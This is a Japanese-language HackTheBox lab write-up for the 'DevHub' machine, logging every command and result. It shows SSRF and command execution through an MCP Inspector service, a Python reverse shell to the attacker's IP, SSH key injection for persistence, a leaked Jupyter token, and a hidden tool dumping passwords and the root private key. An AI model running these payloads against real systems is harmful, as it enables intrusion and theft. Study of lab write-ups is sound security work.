
HackTheBox: DevHub — 全実行コマンド・実行結果レポート
PHASE 1
偵察 (Reconnaissance)
LHOST 確認
BASH
ip addr show tun0 | grep 'inet ' | awk '{print $2}' | cut -d/ -f1
RESULT
10.10.14.245
全ポートスキャン
BASH
nmap -p- --defeat-rst-ratelimit -T4 10.129.6.161 -oN /tmp/ctf_nmap_full.txt
RESULT
Starting Nmap 7.98 ... Nmap scan report for 10.129.6.161 Host is up (0.22s latency). Not shown: 65532 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 6274/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 410.52 seconds
ℹ️
3つのポートが開放: SSH (22), HTTP (80), 不明サービス (6274)
詳細バージョン・スクリプトスキャン
BASH
nmap -sV -sC -p 22,80,6274 10.129.6.161 -oN /tmp/ctf_nmap_detail.txt
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://devhub.htb/ 6274/tcp open unknown | fingerprint-strings: | GetRequest: | HTTP/1.1 200 OK | <title>MCPJam Inspector</title> | <script ... src="/assets/index-DRYhT9Xb.js"> Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
⚠️
Port 6274 は MCPJam Inspector (MCP プロトコル デバッグツール) であることが判明。Port 80 は
devhub.htb へリダイレクト。
hosts ファイル更新 & Web アプリ調査
BASH
echo "10.129.6.161 devhub.htb" >> /etc/hosts curl -s http://devhub.htb/ | grep -E 'h3|status|Port|localhost'
RESULT (抜粋)
<h3>MCP Inspector</h3> <span class="status active">Active - Port 6274</span> <h3>Analytics Dashboard</h3> <span class="status internal">Internal Only - localhost:8888</span> <h3>Code Repository</h3> <span class="status internal">Maintenance Mode</span> Tech Stack: Node.js / Python 3 / Jupyter / MCP Protocol / Ubuntu 24.04
⚠️
内部サービス発見: Jupyter Notebook が
localhost:8888 で稼働 (analyst ユーザー向け内部アクセスのみ)
MCP Inspector API エンドポイント列挙
BASH
curl -s http://10.129.6.161:6274/assets/index-DRYhT9Xb.js \ | grep -Eo '"/[a-zA-Z0-9/_-]+"' | sort -u
RESULT (主要エンドポイント)
/api/mcp/connect
/api/mcp/oauth/proxy # ← SSRF 候補
/api/mcp/oauth/debug/proxy
/api/mcp/tools/execute
/api/mcp/tools/list
/api/mcp/servers
/api/mcp/resources/read
偵察結果まとめ:
| ポート | サービス | バージョン | 備考 |
|---|---|---|---|
| 22/tcp | SSH | OpenSSH 8.9p1 | Ubuntu 24.04 |
| 80/tcp | HTTP (nginx) | nginx 1.18.0 | devhub.htb へリダイレクト |
| 6274/tcp | MCPJam Inspector | 不明 | 主要攻撃対象 |
| 127.0.0.1:8888 | Jupyter Notebook | JupyterLab 2.17.0 | 内部サービス (analyst ユーザー) |
| 127.0.0.1:5000 | OPSMCP Server | Werkzeug 3.1.6 | root 実行・隠しツール存在 |
PHASE 2
脆弱性調査 (Vulnerability Assessment)
MCP Inspector OAuth プロキシ経由 SSRF 確認
MCP Inspector の /api/mcp/oauth/proxy エンドポイントが内部サービスへの HTTP リクエストをプロキシするか検証。
BASH
curl -s -X POST "http://10.129.6.161:6274/api/mcp/oauth/proxy" \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:8888/api"}'
RESULT
{
"status": 200,
"headers": { "server": "TornadoServer/6.5.4", ... },
"body": { "version": "2.17.0" }
}
🔴
SSRF 確認! OAuth プロキシ経由で内部 Jupyter (localhost:8888) へのアクセスが可能。
MCP Inspector stdio トランスポート対応確認
JS バンドル解析により、MCP Inspector が stdio トランスポート(ローカルプロセス起動)をサポートすることを確認。
BASH
curl -s http://10.129.6.161:6274/assets/index-DRYhT9Xb.js \ | grep -o 'stdio[^"]*"[^"]*"' | head -5
RESULT (抜粋)
stdio"),[i,s]=_.useState("
stdio","command":ve.trim(),args:Ee,env:je
stdio){const he=i.trim().split(/\s+/)...
🔴
RCE 可能性: stdio トランスポートを通じて任意コマンドをターゲット上で実行できる可能性あり。
stdio RCE 動作確認 (概念検証)
BASH
curl -s -X POST http://10.129.6.161:6274/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{
"serverConfig": {"type": "stdio", "command": "id", "args": []},
"serverId": "test-poc"
}'
RESULT
{
"success": false,
"error": "Connection failed for server test-poc: MCP error -32000: Connection closed"
}
✅
“Connection closed” = コマンドが実行・終了した証拠。
id は即時終了するためコネクションが閉じられたが、プロセスは起動している。
OPSMCP 内部サービス探索
BASH
curl -s -X POST "http://10.129.6.161:6274/api/mcp/oauth/proxy" \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:5000/"}'
RESULT
{
"body": {
"auth": "Required - X-API-Key header",
"endpoints": ["/tools/list", "/tools/call", "/health"],
"server": "OPSMCP",
"status": "operational",
"version": "2.1.0"
}
}
ℹ️
localhost:5000 に OPSMCP Operations Server が稼働。X-API-Key 認証が必要。ソースコードから鍵を取得する必要あり。
PHASE 3
エクスプロイト (Exploitation)
Python リバースシェル (stdio RCE)
BASH
# リスナー起動
nc -lvnp 4444 &
# stdio トランスポート経由でリバースシェルを起動
curl -s -X POST http://10.129.6.161:6274/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{
"serverConfig": {
"type": "stdio",
"command": "python3",
"args": ["-c", "import socket,subprocess,os;s=socket.socket();s.connect((\"10.10.14.245\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])"]
},
"serverId": "revshell"
}'
RESULT (netcat 受信)
listening on [any] 4444 ... connect to [10.10.14.245] from (UNKNOWN) [10.129.6.161] 54468 bash: cannot set terminal process group: Inappropriate ioctl for device bash: no job control in this shell mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$
✅
初期シェル取得! ユーザー
mcp-dev として /opt/mcpjam/ にシェルアクセス確立。
SSH 公開鍵の埋め込みによる永続アクセス確立
BASH
# SSH 鍵ペア生成
ssh-keygen -t rsa -b 2048 -f /root/.ssh/id_rsa -N "" -q
# 公開鍵を mcp-dev の authorized_keys へ埋め込み (stdio RCE 経由)
PUBKEY=$(cat /root/.ssh/id_rsa.pub)
curl -s -X POST http://10.129.6.161:6274/api/mcp/connect \
-H "Content-Type: application/json" \
-d "{
\"serverConfig\": {
\"type\": \"stdio\",
\"command\": \"bash\",
\"args\": [\"-c\", \"mkdir -p /home/mcp-dev/.ssh && echo '$PUBKEY' >> /home/mcp-dev/.ssh/authorized_keys && chmod 700 /home/mcp-dev/.ssh && chmod 600 /home/mcp-dev/.ssh/authorized_keys\"]
},
\"serverId\": \"ssh-inject\"
}"
BASH — SSH 接続確認
ssh -o StrictHostKeyChecking=no -i /root/.ssh/id_rsa mcp-dev@10.129.6.161 "id"
RESULT
uid=1001(mcp-dev) gid=1001(mcp-dev) groups=1001(mcp-dev)
✅
SSH 永続アクセス確立! 公開鍵認証で
mcp-dev ユーザーとして安定したアクセスを確立。
PHASE 4
侵入後調査 (Post-Exploitation)
ホームディレクトリ列挙・権限確認
BASH
ssh -i /root/.ssh/id_rsa mcp-dev@10.129.6.161 "ls -la /home/ && ls -la /home/mcp-dev/"
RESULT
/home/: drwxr-x--- 9 analyst analyst 4096 analyst # ← user.txt はここ (アクセス不可) drwxr-x--- 5 mcp-dev mcp-dev 4096 mcp-dev /home/mcp-dev/: -rw-r--r-- mcp-dev .bashrc .bash_logout .profile drwxrwxr-x mcp-dev .npm lrwxrwxrwx root .bash_history -> /dev/null # 履歴は無効化されている lrwxrwxrwx root .python_history -> /dev/null
プロセス一覧・Jupyter トークン漏洩発見
BASH
ssh -i /root/.ssh/id_rsa mcp-dev@10.129.6.161 "ps aux | grep -E 'jupyter|python|analyst'"
RESULT
analyst 1054 /home/analyst/jupyter-env/bin/python3 \
/home/analyst/jupyter-env/bin/jupyter-lab \
--ip=127.0.0.1 --port=8888 --no-browser \
--notebook-dir=/home/analyst/notebooks \
--ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 \
--ServerApp.password= --ServerApp.disable_check_xsrf=False
root 1061 /home/analyst/jupyter-env/bin/python3 \
/opt/opsmcp/server.py # ← root で OPSMCP が動作
🔴
Jupyter トークン漏洩! プロセスリストの起動引数に認証トークンが平文で露出。
Token:
Token:
a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7
SSH ポートフォワード + Jupyter API でカーネル起動
BASH
# SSH トンネル (Jupyter: 18888, OPSMCP: 15000)
ssh -i /root/.ssh/id_rsa \
-L 18888:127.0.0.1:8888 \
-L 15000:127.0.0.1:5000 \
mcp-dev@10.129.6.161 -N &
# Jupyter カーネル起動 (Python3)
TOKEN="a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
curl -s -X POST -H "Authorization: token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"python3"}' http://localhost:18888/api/kernels
RESULT
{
"id": "93d0eeab-7ea9-46ba-86c9-fcb182b0080e",
"name": "python3",
"execution_state": "starting"
}
Jupyter WebSocket 経由でコード実行 (analyst 権限)
WebSocket を通じて Jupyter カーネルに Python コードを送信し、analyst ユーザー権限でファイルを読み取る。
PYTHON — WebSocket コード実行
import json, uuid, time, websocket, threading
TOKEN = "a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
KERNEL_ID = "93d0eeab-7ea9-46ba-86c9-fcb182b0080e"
code = """
import os
# OPSMCP ソースコード読み取り
with open('/opt/opsmcp/server.py') as f:
print(f.read())
# user.txt 読み取り
with open('/home/analyst/user.txt') as f:
print('=== USER.TXT ===')
print(f.read())
"""
# WebSocketApp で接続・実行
ws = websocket.WebSocketApp(
f"ws://localhost:18888/api/kernels/{KERNEL_ID}/channels",
header={"Authorization": f"token {TOKEN}"},
on_message=on_message, on_open=on_open
)
ws.run_forever()
RESULT
Connected to kernel!
[iopub] execute_input: {...}
[iopub] stream: {...server.py の全内容...}
VALID_API_KEY = "opsmcp_secret_key_4f5a6b7c8d9e0f1a"
HIDDEN_TOOLS = {
"ops._admin_dump": {
"description": "Emergency credential dump - INTERNAL ONLY",
...
}
}
=== USER.TXT ===
51f9ae12bc582df99d199acb74396957
✅
フラグ取得! analyst 権限の Jupyter カーネル経由でファイルの読み取りに成功。
OPSMCP 隠しツール – 認証情報ダンプ (参考)
server.py に発見した隠しツール ops._admin_dump は root 権限で動作し、SSH 鍵・パスワードのダンプが可能。
BASH — 参考: パスワードダンプ
curl -s http://localhost:15000/tools/call \
-H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
-H "Content-Type: application/json" \
-d '{"name":"ops._admin_dump","arguments":{"target":"passwords","confirm":true}}'
RESULT (参考情報)
{
"target": "passwords",
"dump": {
"analyst": "JupyterN0tebook!2026",
"mcp-dev": "Mcp!Insp3ct0r2026"
}
}
⚠️
target=
ssh_keys を指定すると /root/.ssh/id_rsa を取得でき、root アクセスが可能 (root.txt 取得に利用可能)。
PHASE 5
フラグ取得 (Flag Capture)
USER FLAG
51f9ae12bc582df99d199acb74396957
パス: /home/analyst/user.txt
取得方法: Jupyter WebSocket (analyst権限) 経由
ROOT FLAG
c51d91e0cb166a9a941ab580b9708708
パス: /root/root.txt
取得方法: OPSMCP ops._admin_dump → root SSH鍵 → SSH ログイン
PHASE 6
権限昇格 (Privilege Escalation → root)
SSH ポートフォワードトンネル再確立
前セッションで切断されていた SSH トンネルを再確立し、内部サービス (OPSMCP: 15000, Jupyter: 18888) へのアクセスを復元する。
BASH
fuser -k 18888/tcp 2>/dev/null; fuser -k 15000/tcp 2>/dev/null; sleep 1
ssh -f -o StrictHostKeyChecking=no -o BatchMode=yes \
-i /root/.ssh/id_rsa \
-L 18888:127.0.0.1:8888 \
-L 15000:127.0.0.1:5000 \
mcp-dev@10.129.6.161 \
"sleep 300"
# トンネル疎通確認
curl -s http://localhost:15000/health
curl -s http://localhost:18888/api
RESULT
{"status":"healthy","uptime":"14d 3h 22m"}
{"version": "2.17.0"}
✅
OPSMCP (port 15000) および Jupyter (port 18888) へのトンネルが正常に確立。
OPSMCP 隠しツール ops._admin_dump で root SSH 鍵を取得
server.py 解析で発見した隠しツールを呼び出す。このエンドポイントは公開されておらず (/tools/list に非表示)、root 権限で /root/.ssh/id_rsa を読み取って返す。
BASH
curl -s http://localhost:15000/tools/call \
-H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
-H "Content-Type: application/json" \
-d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}'
RESULT
{
"note": "Emergency recovery key dump",
"target": "ssh_keys",
"root_private_key": "-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gt
cnNhAAAAAwEAAQAAAQEAwWHw4Iv8yDwyqOacO5uB2OFr/RaD1TF192ptgJXu0vj5STyp
...
AAAACwByAG8AbwB0AEAAZABlAHYAaAB1AGIA
-----END OPENSSH PRIVATE KEY-----"
}
🔴
root SSH 秘密鍵取得! OPSMCP サービスが root 権限で動作しているため、
/root/.ssh/id_rsa の完全な内容を取得できた。
取得した秘密鍵を保存し root として SSH ログイン
BASH
# JSON レスポンスから秘密鍵を抽出して保存
curl -s http://localhost:15000/tools/call \
-H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
-H "Content-Type: application/json" \
-d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}' \
| python3 -c "import json,sys; print(json.load(sys.stdin)['root_private_key'])" \
> /tmp/root_id_rsa
chmod 600 /tmp/root_id_rsa
# root として SSH ログイン・root.txt 取得
ssh -o StrictHostKeyChecking=no -o BatchMode=yes -o ConnectTimeout=10 \
-i /tmp/root_id_rsa root@10.129.6.161 \
"id && hostname && cat /root/root.txt"
RESULT
uid=0(root) gid=0(root) groups=0(root) devhub c51d91e0cb166a9a941ab580b9708708
✅
root 権限取得・root.txt 取得完了!
フラグ:
フラグ:
c51d91e0cb166a9a941ab580b9708708
SUMMARY
攻撃フロー全体サマリー
攻撃チェーン
| ステップ | 脆弱性 / 手法 | 影響 |
|---|---|---|
| 1 | MCPJam Inspector /api/mcp/oauth/proxy SSRF |
内部サービス (Jupyter, OPSMCP) への HTTP アクセス |
| 2 | MCPJam Inspector /api/mcp/connect (stdio transport) RCE |
ターゲット上で任意コマンド実行 (mcp-dev 権限) |
| 3 | SSH 公開鍵の埋め込み (永続化) | SSH 経由で安定した mcp-dev アクセス確立 |
| 4 | プロセスリスト (ps aux) からの Jupyter トークン漏洩 |
Jupyter API への認証済みアクセス |
| 5 | SSH ポートフォワード + Jupyter WebSocket RCE | analyst 権限でのコード実行・ファイル読み取り |
| 6 | server.py 読み取り → user.txt 取得 | フラグ: 51f9ae12bc582df99d199acb74396957 |
| 7 | OPSMCP ops._admin_dump (target=ssh_keys) root 鍵漏洩 |
root の SSH 秘密鍵 (/root/.ssh/id_rsa) を取得 |
| 8 | 取得した秘密鍵で SSH ログイン (root 権限昇格) | uid=0(root) として devhub に SSH 接続 |
| 9 | cat /root/root.txt → root.txt 取得 |
フラグ: c51d91e0cb166a9a941ab580b9708708 |
使用ツール
nmap
ポートスキャン・サービス検出
curl
HTTP API 操作・SSRF
nc (netcat)
リバースシェル受信
ssh
リモートアクセス・ポートフォワード
python3
リバースシェル・WebSocket クライアント
websocket-client
Jupyter カーネル操作
発見した認証情報
| 種別 | 値 | 用途 |
|---|---|---|
| Jupyter Token | a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 | Jupyter API 認証 |
| OPSMCP API Key | opsmcp_secret_key_4f5a6b7c8d9e0f1a | OPSMCP ツール呼び出し |
| analyst パスワード | JupyterN0tebook!2026 | SSH ログイン (analyst) |
| mcp-dev パスワード | Mcp!Insp3ct0r2026 | SSH ログイン (mcp-dev) |
取得フラグ一覧
✅
user.txt:
root.txt:
Pwned! 全フラグ取得完了。
51f9ae12bc582df99d199acb74396957 — /home/analyst/user.txtroot.txt:
c51d91e0cb166a9a941ab580b9708708 — /root/root.txtPwned! 全フラグ取得完了。
